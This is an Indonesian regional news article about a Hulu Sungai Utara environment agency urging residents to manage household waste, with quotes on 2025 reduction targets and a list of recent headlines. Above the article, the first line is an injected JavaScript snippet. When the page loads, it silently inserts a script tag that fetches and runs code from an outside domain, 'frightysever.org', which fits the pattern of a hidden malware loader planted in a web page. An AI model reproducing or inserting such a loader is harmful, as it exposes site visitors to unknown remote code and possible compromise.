(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Disperkim LH HSU Terus Dorong Masyarakat Kelola Sampah Mandiri


AMUNTAI, Dinas Perumahan Permukiman dan Lingkungan Hidup (Disperkim LH) Kabupaten Hulu Sungai Utara (HSU) terus mendorong masyarakat untuk mengelola sampah secara mandiri.

Hal tersebut seperti diungkap Kepala Disperkim LH Kabupaten HSU, Rusnaidy saat pembinaan pengelolaan persampahan di gedung Agung Setda HSU, Senin (24/6). Perlu perlakuan khususu untuk sampah rumah tangga dalam kehidupan sehari-hari untuk membangun HSU menuju bebas sampah 2025.

Lebih lanjut, Rusnaidy mengatakan, pembinaan ini adalah pembinaan dari Dinas LH Provinsi Kalimantan Selatan (Kalsel) dalam rangka pengelolaan persampahan.

“Kegiatan ini berkaitan dengan adanya Perpres mengenai kebijakan strategi nasional dalam rangka pengelolaan sampah rumah tangga dan sampah sejenis rumah tangga,” kata Rusnaidy.

Adapun implementasi pemerintah kabupaten menyusun kebijakan strategi daerah (Jaksrada) dalam rangka pengelolaan sampah rumah tangga dan sampah sejenis rumah tangga.

“Sampah menjadi permasalahan nasional, dan sampah ini merupakan kewajiban pemerintah daerah, pemerintah provinsi maupun kabupaten hingga kecamatan, kelurahan, desa dalam pengelolaan sampah untuk dikurangi dan ditangani,” jelas Rusnaidy.

Sementara Asbiani, Fungsional Widyaiswara Bidang LH Dinas Lingkungan Hidup Provinsi Kalsel mengatakan, selama ini yang menjadi dasar kebijakan dasar strategi nasional dan daerah adalah pengurangan dan penanganan sampah.

“Untuk pengurangan sekitar 30 persen tahun 2025 dan untuk penanganan 70 persen,” kata Asbiani.

Ia menambahkan, untuk pengurangan sampah 30 persen target sasaran adalah masyarakat entah itu pejabat, pegawai negeri dan masyarakat biasa untuk mengurangi sampah dalam kehidupan sehari hari.

Dan untuk penanganan 70 persen memang domain pemerintah, dimana Kabupaten HSU domain sampah organik, sehingga penanganannya sangat mudah, seperti pembuatan kompos dan pupuk.

“Jaksrada yang telah disusun ada targetnya, untuk bersama sama kita kerjakan, meskipun tantangan banyak karena merubah perilaku, kebiasaan tidak semudah membalikan telapak tangan, maka kesadaran perlu dari diri kita mencoba untuk ramah lingkungan,” tutupnya. (dew)

Reporter : Dew
Editor : Bie

Desy Arfianty

Recent Posts

Pj Bupati HSU Hadiri Pembukaan MTQN XXXV Kalsel di Tapin

KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More

49 menit ago

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

15 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

15 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

16 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

16 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

16 jam ago

This website uses cookies.